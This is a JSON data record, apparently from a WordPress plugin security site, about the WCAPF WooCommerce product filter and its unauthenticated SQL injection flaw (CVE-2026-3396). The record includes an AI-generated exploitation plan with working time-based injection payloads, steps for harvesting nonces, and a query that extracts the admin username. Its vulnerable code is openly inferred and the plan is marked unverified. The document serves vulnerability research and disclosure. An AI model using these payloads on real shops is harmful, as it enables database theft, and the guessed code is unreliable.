[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5JYCBOlwb8rJja0tjSSZ-Dp4M4Ni86EEQhyF484mMm4":3,"$fwvXMhr7DoxKtMH0FFn8NB74Qmx6oV6dm_aVWdd8q7TM":547,"$fK3W5DRCgvXyKww6qLLlqqULzYt7s1uOdHOltTDZZbYQ":551},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":68,"crawl_stats":39,"alternatives":74,"analysis":178,"fingerprints":524},"wc-ajax-product-filter","WCAPF – Ajax Product Filter for WooCommerce","4.4.0","Mainul Hassan","https:\u002F\u002Fprofiles.wordpress.org\u002Fshamimmoeen\u002F","\u003Cp>\u003Cstrong>WCAPF – Ajax Product Filter for WooCommerce\u003C\u002Fstrong> helps customers filter WooCommerce products by category, tag, attribute, price, rating, author, meta fields, and keyword using AJAX. The plugin updates results instantly without reloading the page, helping customers find products faster on WooCommerce shop and archive pages.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fdemos.wptools.io\u002Fwc-ajax-product-filter\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Demo\" rel=\"nofollow ugc\">\u003Cstrong>View Demo\u003C\u002Fstrong>\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwptools.io\u002Fdocs\u002Fwc-ajax-product-filter\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Documentation\" rel=\"nofollow ugc\">\u003Cstrong>Documentation\u003C\u002Fstrong>\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwptools.io\u002Fwc-ajax-product-filter\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Pro+Upgrade\" rel=\"nofollow ugc\">\u003Cstrong>💎 Upgrade to Pro\u003C\u002Fstrong>\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>WooCommerce Product Filtering Options\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Taxonomy:\u003C\u002Fstrong> Let customers browse products by category, tag, or any custom taxonomy.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Attribute:\u003C\u002Fstrong> Narrow down results using product attributes such as size, color, material, and more.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Price:\u003C\u002Fstrong> Help customers find items within their budget using a flexible price range filter.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Rating:\u003C\u002Fstrong> Show products based on customer ratings.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Product Status:\u003C\u002Fstrong> Allow customers to filter products by status such as Featured or In Stock.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Post Author:\u003C\u002Fstrong> Filter products by their author.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Post Meta:\u003C\u002Fstrong> Filter products using custom post meta values.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Keyword:\u003C\u002Fstrong> Search for products using keywords.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Flexible Filter Display Options\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Multiple Display Formats:\u003C\u002Fstrong> Present filter options using checkboxes, radio buttons, dropdowns, multiselect, or labels.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Styling and Layout:\u003C\u002Fstrong> Choose from list, inline, grid, or hierarchical display for taxonomies, with accordion support for hierarchies.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Price Filter Options:\u003C\u002Fstrong> Use a price slider with minimum and maximum inputs (custom price ranges are available in the Pro version).\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Product Count & Tooltips:\u003C\u002Fstrong> Show the number of products available for each filter and display informative tooltips on hover.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Automatic Filter Generation:\u003C\u002Fstrong> Automatically generate filter options from taxonomy terms, attributes, or other supported data sources.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Include\u002FExclude Options:\u003C\u002Fstrong> Control visibility by including or excluding specific terms, users, or meta values.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Search Field & Toggles:\u003C\u002Fstrong> Include a search field within filters for quick navigation and use show more\u002Fless toggles to keep the interface clean.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Color\u002FImage Swatches:\u003C\u002Fstrong> Display filter options using visual color or image swatches for a better shopping experience.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Advanced Filtering Functionality\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Variable Product Support:\u003C\u002Fstrong> Works seamlessly with variable products and WooCommerce attribute lookup tables.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Ajax Pagination & Sorting:\u003C\u002Fstrong> Navigate filtered results and apply product sorting without page reloads.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Active Filters Display:\u003C\u002Fstrong> Show selected filters above the product loop for quick adjustments by the user.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Dynamic Product Count:\u003C\u002Fstrong> Update product counts in real time based on applied filters to avoid “no results found” messages.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Smart Visibility:\u003C\u002Fstrong> Automatically hide or disable empty filters and irrelevant options that return zero products.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Easy Integration\u003C\u002Fh3>\n\u003Cp>Create your filters and display them on WooCommerce shop and archive pages. Add the filters using the \u003Cstrong>WCAPF – Product Filter Form\u003C\u002Fstrong> widget or place the \u003Ccode>[wcapf_form]\u003C\u002Fcode> shortcode in a page, post, or theme template.\u003C\u002Fp>\n\u003Ch3>Premium Features (Pro)\u003C\u002Fh3>\n\u003Cp>The Pro version adds more advanced filtering capabilities and extra configuration options for more complex stores. Some of the enhanced features include:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Different Filters for Different Archives:\u003C\u002Fstrong> Show more relevant filters depending on the current product category or archive. \u003Ca href=\"https:\u002F\u002Fwptools.io\u002Fdocs\u002Fwc-ajax-product-filter\u002Fcommon\u002Fdifferent-filters-for-different-archive-pages\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Documentation\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Filters on Custom Pages:\u003C\u002Fstrong> Build custom product layouts outside default WooCommerce templates using the \u003Ccode>[wcapf_products]\u003C\u002Fcode> shortcode. \u003Ca href=\"https:\u002F\u002Fwptools.io\u002Fdocs\u002Fwc-ajax-product-filter\u002Fcommon\u002Ffilters-on-custom-pages\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Documentation\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Multi-Vendor Support:\u003C\u002Fstrong> Compatible with popular multi-vendor plugins, allowing customers to filter by store name or vendor. \u003Ca href=\"https:\u002F\u002Fwptools.io\u002Fdocs\u002Fwc-ajax-product-filter\u002Fcommon\u002Ffilter-by-vendor\u002F?utm_source=wordpress.org&utm_medium=free+plugin+listing&utm_campaign=WCAPF+Documentation\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Advanced Controls:\u003C\u002Fstrong> Includes manual filter options, sort by filter, per page filter, custom price ranges, and additional configuration settings.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Drag and Drop Filter Creation\u003C\u002Fh3>\n\u003Cp>Create filters quickly using the intuitive admin interface. Add filters, configure settings, reorder them, and remove them easily.\u003C\u002Fp>\n\u003Ch3>Custom Filter Keys in URL\u003C\u002Fh3>\n\u003Cp>Define the filter key used in the URL to identify the type of filter applied.\u003C\u002Fp>\n\u003Cp>For example, in the URL \u003Cstrong>..\u002F?category=shirts&color=white\u003C\u002Fstrong>, \u003Cstrong>category\u003C\u002Fstrong>, and \u003Cstrong>color\u003C\u002Fstrong> are the filter keys.\u003C\u002Fp>\n\u003Ch3>Option to Disable Ajax Filtering\u003C\u002Fh3>\n\u003Cp>Allow users to disable AJAX filtering if needed. While AJAX filtering is generally recommended for seamless browsing, users can choose to disable it to troubleshoot any potential JavaScript conflicts that may arise after updating the product loop.\u003C\u002Fp>\n\u003Ch3>Customization\u003C\u002Fh3>\n\u003Cp>Easily customize the appearance of the filters to match the design and style of your theme. The plugin provides a variety of settings on the plugin settings page, \u003Cstrong>including CSS variables for styling\u003C\u002Fstrong>, allowing developers to quickly customize the global filter appearance.\u003C\u002Fp>\n\u003Ch3>Theme Compatibility\u003C\u002Fh3>\n\u003Cp>The plugin is designed to be highly compatible with a wide range of themes that follow the standard guidelines set by WooCommerce. This means it is likely to work effectively with almost any theme you choose.\u003C\u002Fp>\n\u003Ch3>Developer Friendly\u003C\u002Fh3>\n\u003Cp>The plugin includes essential hooks, filters, and template overrides so developers can adjust filter data, customize output, and extend the plugin functionality.\u003C\u002Fp>\n","Filter WooCommerce products by category, tag, attribute, price, rating, author, meta fields, and keyword using AJAX.",9000,191392,86,44,"2026-03-31T20:51:00.000Z","6.9.4","6.0","7.2",[20,21,22,23,24],"ajax-product-filter","price-filter","product-filter","woocommerce-filter","woocommerce-product-filter","https:\u002F\u002Fwptools.io\u002Fwc-ajax-product-filter\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-ajax-product-filter.4.4.0.zip",97,1,0,"2026-04-07 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":28,"patch_diff_files":49,"patch_trac_url":39,"research_status":57,"research_verified":58,"research_rounds_completed":59,"research_plan":60,"research_summary":61,"research_vulnerable_code":62,"research_fix_diff":63,"research_exploit_outline":64,"research_model_used":65,"research_started_at":66,"research_completed_at":67,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":58,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-3396","wcapf-woocommerce-ajax-product-filter-unauthenticated-time-based-sql-injection","WCAPF – WooCommerce Ajax Product Filter \u003C= 4.2.3 - Unauthenticated Time-Based SQL Injection","WCAPF – WooCommerce Ajax Product Filter plugin is vulnerable to time-based SQL Injection via the 'post-author' parameter in all versions up to, and including, 4.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",null,"\u003C=4.2.3","4.3.0","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-08 11:16:58",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fee0a762e-9159-4dab-a7be-9cbe332effb1?source=api-prod",[50,51,52,53,54,55,56],"build\u002Fform-rtl.css","build\u002Fform.asset.php","build\u002Fform.css","build\u002Fform.js","build\u002Flist-forms-rtl.css","build\u002Flist-forms.asset.php","build\u002Flist-forms.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-3396 (WCAPF SQL Injection)\n\n## 1. Vulnerability Summary\nThe **WCAPF – WooCommerce Ajax Product Filter** plugin (versions \u003C= 4.2.3) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists in the handling of the `post-author` parameter within AJAX filtering requests. User input is concatenated directly into a SQL query without proper sanitization (e.g., `absint()`) or the use of `$wpdb->prepare()`. Because this occurs in an AJAX handler registered for unauthenticated users, any attacker can execute arbitrary SQL queries to extract sensitive data from the database.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `wcapf_ajax_filter` (inferred from plugin functionality)\n*   **Vulnerable Parameter:** `post-author`\n*   **Authentication:** None required (Unauthenticated)\n*   **Payload Type:** Time-based blind SQL Injection\n*   **Preconditions:** The plugin must be active. A valid AJAX nonce is likely required, though often accessible on the shop page.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with `action=wcapf_ajax_filter`.\n2.  **Hook Registration:** The plugin registers the action via:\n    `add_action( 'wp_ajax_nopriv_wcapf_ajax_filter', [ $this, 'ajax_filter' ] );`\n3.  **Input Acquisition:** The handler function (e.g., `ajax_filter()`) retrieves the `post-author` value from `$_POST` or `$_GET`.\n4.  **Vulnerable Processing:** The plugin constructs a query to filter products by author. It likely interpolates the `post-author` value directly into the `WHERE` clause:\n    ```php\n    $author = $_POST['post-author'];\n    $results = $wpdb->get_results(\"SELECT ... WHERE post_author IN ($author) ...\");\n    ```\n5.  **Sink:** The raw SQL string is executed by `$wpdb->get_results()`, triggering the injection.\n\n## 4. Nonce Acquisition Strategy\nThe plugin typically localizes its configuration and security nonces for frontend use.\n\n1.  **Identify Shortcode:** The plugin uses `[wcapf_form]` or `[wcapf_products]` to display filters.\n2.  **Create Test Page:**\n    `wp post create --post_type=page --post_title=\"Shop Filter\" --post_status=publish --post_content=\"[wcapf_form]\"`\n3.  **Navigate to Page:** Use `browser_navigate` to visit the newly created page.\n4.  **Extract Nonce:** The plugin localizes data into a JavaScript object. Based on common patterns in WCAPF, the object is likely `wcapf_params`.\n    *   **JS Command:** `browser_eval(\"window.wcapf_params?.nonce\")`\n    *   **Alternative:** If not found, check for any localized object containing \"nonce\" using `browser_eval(\"Object.keys(window).filter(k => k.includes('wcapf'))\")`.\n\n## 5. Exploitation Strategy\nThe goal is to confirm the vulnerability using a time-based payload.\n\n### Step-by-Step Execution:\n\n1.  **Discovery:** Locate the exact AJAX action and localized variable name by searching the plugin directory:\n    *   `grep -r \"wp_ajax_nopriv\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-ajax-product-filter\u002F`\n    *   `grep -r \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-ajax-product-filter\u002F`\n\n2.  **Baseline Request:** Send a legitimate request to measure the standard response time.\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=wcapf_ajax_filter&wcapf_nonce=[NONCE]&post-author=1\n    ```\n\n3.  **Sleep Payload:** Send the injection payload.\n    *   **Parameter:** `post-author`\n    *   **Value:** `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a`\n    *   **Encoded Value:** `1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a`\n\n4.  **Data Extraction (PoC):** Extract the database version.\n    *   **Payload:** `1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a`\n\n## 6. Test Data Setup\n1.  **Install Dependencies:** Ensure WooCommerce is installed and active.\n2.  **Create Product:**\n    `wp eval \"if(!get_page_by_path('test-product', OBJECT, 'product')){ wc_create_product(['name' => 'Test Product']); }\"`\n3.  **Create Filter Page:**\n    `wp post create --post_type=page --post_title=\"Filter Test\" --post_status=publish --post_content='[wcapf_form]' --post_name='filter-test'`\n4.  **Identify Nonce:** Visit `\u002Ffilter-test` and extract `wcapf_params.nonce`.\n\n## 7. Expected Results\n*   **Baseline:** Response time \u003C 500ms.\n*   **Attack:** Response time > 5000ms.\n*   **Response Body:** Likely a JSON object with a `success` key or a HTML snippet of filtered products.\n\n## 8. Verification Steps\nAfter confirming the delay, verify the database state to ensure no permanent damage occurred (though SQLi here is READ-only by description):\n1.  Check for the existence of the `wp_users` table content using the SQLi to confirm extraction capability:\n    *   **Payload:** `1) AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1))=97,SLEEP(5),0)))a` (Checks if admin username starts with 'a').\n\n## 9. Alternative Approaches\n*   **Boolean-Based Blind:** If `post-author=1` returns products and `post-author=1 AND 1=2` returns \"No products found\", switch to boolean-based extraction as it is significantly faster than time-based.\n*   **Error-Based:** Check if `post-author=1'` triggers a visible database error in the AJAX response. If `WP_DEBUG` is on, use `updatexml()` or `extractvalue()` for immediate data extraction.\n*   **Action Name Variations:** If `wcapf_ajax_filter` fails, check for `wcapf_filter` or `wcapf_apply_filter` by searching for `add_action.*wp_ajax` in the plugin's `includes\u002F` directory.","The WCAPF – WooCommerce Ajax Product Filter plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'post-author' parameter in version 4.2.3 and earlier. This occurs because user input is concatenated directly into a SQL query without proper sanitization or the use of WordPress's database preparation methods, allowing attackers to extract sensitive data via time-based inference.","\u002F\u002F Inferred logic in the AJAX handler (e.g., ajax_filter() in the plugin's AJAX controller)\n$author = $_POST['post-author'];\n$results = $wpdb->get_results(\"SELECT ... WHERE post_author IN ($author) ...\");","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-ajax-product-filter\u002F4.2.3\u002Fadmin: lib\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-ajax-product-filter\u002F4.2.3\u002Fbuild\u002Fform.asset.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-ajax-product-filter\u002F4.3.0\u002Fbuild\u002Fform.asset.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-ajax-product-filter\u002F4.2.3\u002Fbuild\u002Fform.asset.php\t2025-01-19 19:46:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-ajax-product-filter\u002F4.3.0\u002Fbuild\u002Fform.asset.php\t2026-03-16 16:38:52.000000000 +0000\n@@ -1 +1 @@\n-\u003C?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '989ca2867ffeee42d68e');\n+\u003C?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'ce3dee3c876dd11dfb86');","To exploit this vulnerability, an unauthenticated attacker follows these steps:\n1. Access the shop page or any page where the WCAPF filter is active to obtain a valid nonce from the localized 'wcapf_params' JavaScript object (e.g., `window.wcapf_params.nonce`).\n2. Construct a POST request directed at `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to `wcapf_ajax_filter`.\n3. Include the extracted nonce in the `wcapf_nonce` parameter.\n4. Inject a time-based SQL payload into the `post-author` parameter, such as `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a`.\n5. Verify the injection by observing that the server's response time is delayed by the amount specified in the SLEEP command (e.g., 5 seconds).","gemini-3-flash-preview","2026-04-17 21:03:11","2026-04-17 21:03:44",{"slug":69,"display_name":7,"profile_url":8,"plugin_count":59,"total_installs":70,"avg_security_score":71,"avg_patch_time_days":28,"trust_score":72,"computed_at":73},"shamimmoeen",9010,89,92,"2026-05-19T21:41:58.400Z",[75,96,116,138,159],{"slug":76,"name":77,"version":78,"author":79,"author_profile":80,"description":81,"short_description":82,"active_installs":83,"downloaded":84,"rating":85,"num_ratings":86,"last_updated":87,"tested_up_to":88,"requires_at_least":89,"requires_php":90,"tags":91,"homepage":93,"download_link":94,"security_score":27,"vuln_count":59,"unpatched_count":29,"last_vuln_date":95,"fetched_at":31},"yith-woocommerce-ajax-navigation","YITH WooCommerce Ajax Product Filter","5.19.0","YITHEMES","https:\u002F\u002Fprofiles.wordpress.org\u002Fyithemes\u002F","\u003Cp>E-commerce \u003Cstrong>product filtering is a must-have tool\u003C\u002Fstrong> to help your customers narrow in on the product they’re looking for and find products they might be interested in based on specific features (size, color, category, etc.)\u003C\u002Fp>\n\u003Cp>A reliable product filtering is what allows your visitors to enjoy and appreciate your product catalog instead of leaving it after a few seconds.\u003C\u002Fp>\n\u003Cp>After all, if users can’t easily browse your product lists, they can’t easily find what they are looking for. And if they can’t find it, they can’t buy it. It’s easy to understand. 🙂\u003C\u002Fp>\n\u003Cp>With the \u003Cstrong>YITH WooCommerce Ajax Product filter\u003C\u002Fstrong> its latest massive redesign, you can finally tackle the user experience in your WooCommerce powered shop. You can help your customers easily find and filter your products by categories, tags, taxonomy, and all kinds of attributes like sizes, colors, materials, brands, etc.\u003C\u002Fp>\n\u003Cp>You can create unlimited presets and show the filters on standard WooCommerce pages (Shop, Category pages) or custom pages created with Gutenberg or Elementor. You can add your filters anywhere, using the built-in widget, shortcode, or Gutenberg block. In this way, you can create a preset of filters for the shop page, a preset of filters for a specific product category, another preset of filters for a custom page, and so on: no limits and total maximum control.\u003C\u002Fp>\n\u003Ch3>YITH WooCommerce Ajax Product filter features\u003C\u002Fh3>\n\u003Ch4>FREE VERSION\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Easily create and customize unlimited presets of filters to show on different pages  (New from 4.0!)\u003C\u002Fli>\n\u003Cli>Show filters using widget shortcodes and Gutenberg blocks (also on custom pages) (New from 4.0!)\u003C\u002Fli>\n\u003Cli>Filter by product categories (New from 4.0!)\u003C\u002Fli>\n\u003Cli>Filter by tags (New from 4.0!)\u003C\u002Fli>\n\u003Cli>Filter any product attributes (color, size, material, etc.)\u003C\u002Fli>\n\u003Cli>Choose the filter style (checkbox, select, text and color swatches)\u003C\u002Fli>\n\u003Cli>Choose the ordering of the terms\u003C\u002Fli>\n\u003Cli>Choose whether to show terms hierarchy or not\u003C\u002Fli>\n\u003Cli>Allow multiple selections (with AND or OR) or not\u003C\u002Fli>\n\u003Cli>Adoptive filtering: terms not available will be hidden\u003C\u002Fli>\n\u003Cli>Show a “Reset Filters” button\u003C\u002Fli>\n\u003Cli>Scroll-to-top option in mobile devices and\u002For desktop\u003C\u002Fli>\n\u003Cli>SEO options (Activate\u002Fdeactivate the indexing of the generated URLs in search engines for the filter operation of the plugin) (New!)\u003C\u002Fli>\n\u003Cli>Beautiful & modern design, suitable for each kind of shop or theme\u003C\u002Fli>\n\u003Cli>Performance enhancements: lazy load filters and paginate terms in AJAX to reduce initial page loading time (New!)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>See it in action here:\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fplugins.yithemes.com\u002Fyith-woocommerce-ajax-product-filter-free\u002F\" rel=\"nofollow ugc\">Check the Live Demo of the free version >\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>NEED MORE? CHECK THE PREMIUM VERSION!\u003C\u002Fh4>\n\u003Cp>With the latest update, we have improved the UX and added significant features to our free version. For example, in the previous versions, some essential features like “filter by category” or “filter by tag” options were missing. We worked hard to release a free plugin that works for our users. Anyway, if you want more (like a mobile-friendly design inspired by the larger e-commerce sites), feel free to check the features we provide in our excellent premium version:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Two additional layouts for the color filter: bicolor and image support (to better represent gradients, textures, patterns…)\u003C\u002Fli>\n\u003Cli>Additional layout: label\u002Fimage. Upload icons, photos and images to identify terms\u003C\u002Fli>\n\u003Cli>Choose the position of the reset button (above products, above or under filters area)\u003C\u002Fli>\n\u003Cli>Choose whether to show active filters (with X to remove them) or not and their position (above products, above or under filters area)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Modal window on mobile: a layout for filters 100% optimized for mobile devices!\u003C\u002Fstrong> (Other plugins just add filters after the products list on mobile, yet, in this way, product filtering on smartphones and tablets is not working. We are the first to have designed and developed a 100% mobile-friendly filtering solution: in a modal window inspired by the largest e-commerce sites!)\u003C\u002Fli>\n\u003Cli>Filter for reviews\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Price slider to filter products by price\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Price ranges with unlimited ranges (last range can show “& above”)\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Filters to show on sale\u002Fin-stock products\u003C\u002Fli>\n\u003Cli>Ajax sorting for products displayed on the page (by rating, price, popularity, latest)\u003C\u002Fli>\n\u003Cli>Show an optional tooltip on hover for terms\u003C\u002Fli>\n\u003Cli>Show filters as a toggle (opened or collapsed by default)\u003C\u002Fli>\n\u003Cli>Show or hide the count of items\u003C\u002Fli>\n\u003Cli>Adoptive filtering: choose whether terms not available must be hidden (as in the free version) \u003Cstrong>or keep them visible but not clickable (only in premium)\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Variations filtering\u003C\u002Fstrong>: make sure variable products are displayed in the filter results only if at least one of the variations matches the current selection, and replace the product image with the one of the variation (New!)\u003C\u002Fli>\n\u003Cli>Choose to hide empty terms and out of stock products automatically\u003C\u002Fli>\n\u003Cli>Customize colors and style of filters area through the dedicated “customization” tab (colors, color swatches size, select and checkbox type, etc.)\u003C\u002Fli>\n\u003Cli>Upload a custom loader\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Permalinks management:\u003C\u002Fstrong> choose to keep permalinks unchanged, change them by adding filtered terms or use a \u003Cstrong>custom user-friendly and shorter permalink\u003C\u002Fstrong> (for a better sharing experience!)\u003C\u002Fli>\n\u003Cli>Use instant AJAX filtering or show a button to apply filters manually without AJAX\u003C\u002Fli>\n\u003Cli>Choose whether to show filter results on the same page or a new page\u003C\u002Fli>\n\u003Cli>Compatible with the YITH WooCommerce Brands Add-on plugin\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>See it in action here (we have three different demo samples):\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fplugins.yithemes.com\u002Fyith-woocommerce-ajax-product-filter\u002F\" rel=\"nofollow ugc\">Check the Live Demo of the premium version >\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>And if you love it, get it!\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fyithemes.com\u002Fthemes\u002Fplugins\u002Fyith-woocommerce-ajax-product-filter\u002F\" rel=\"nofollow ugc\">GET THE PREMIUM VERSION HERE with a 100% Money Back guarantee >\u003C\u002Fa>\u003C\u002Fp>\n","YITH WooCommerce Ajax Product Filter offers you the perfect way to filter all products of your WooCommerce shop.",80000,5004295,70,99,"2026-04-01T11:16:00.000Z","7.0","6.8","7.4",[20,22,92,23,24],"shop-filter","https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fyith-woocommerce-ajax-navigation\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fyith-woocommerce-ajax-navigation.5.19.0.zip","2024-07-10 00:00:00",{"slug":97,"name":98,"version":99,"author":100,"author_profile":101,"description":102,"short_description":103,"active_installs":104,"downloaded":105,"rating":106,"num_ratings":107,"last_updated":108,"tested_up_to":16,"requires_at_least":109,"requires_php":88,"tags":110,"homepage":111,"download_link":112,"security_score":113,"vuln_count":114,"unpatched_count":29,"last_vuln_date":115,"fetched_at":31},"dynamic-ajax-product-filters-for-woocommerce","Dynamic AJAX Product Filters for WooCommerce","1.5.9","Plugincy","https:\u002F\u002Fprofiles.wordpress.org\u002Fplugincy\u002F","\u003Cp>Supercharge your WooCommerce store with fast, flexible, and SEO-optimized filtering.\u003C\u002Fp>\n\u003Cp>Give your customers exactly what they’re looking for — with real-time filtering, rich UI controls, and performance-first features.\u003C\u002Fp>\n\u003Cp>Transform the shopping experience on your WooCommerce store with Dynamic AJAX Product Filters – a fast, flexible, and SEO-friendly solution for real-time product discovery. This powerful advanced product filters system for WooCommerce updates results instantly without reloading the page, keeping users engaged and reducing bounce rates. Customers can filter by category, Tags, price, rating, search, brand, stock status, author, on sale, length, width, height, weight, custom meta, sku, product id, Discount, date (today, this_week, this_month, this_year or specific date range this date to that date) and attributes like, 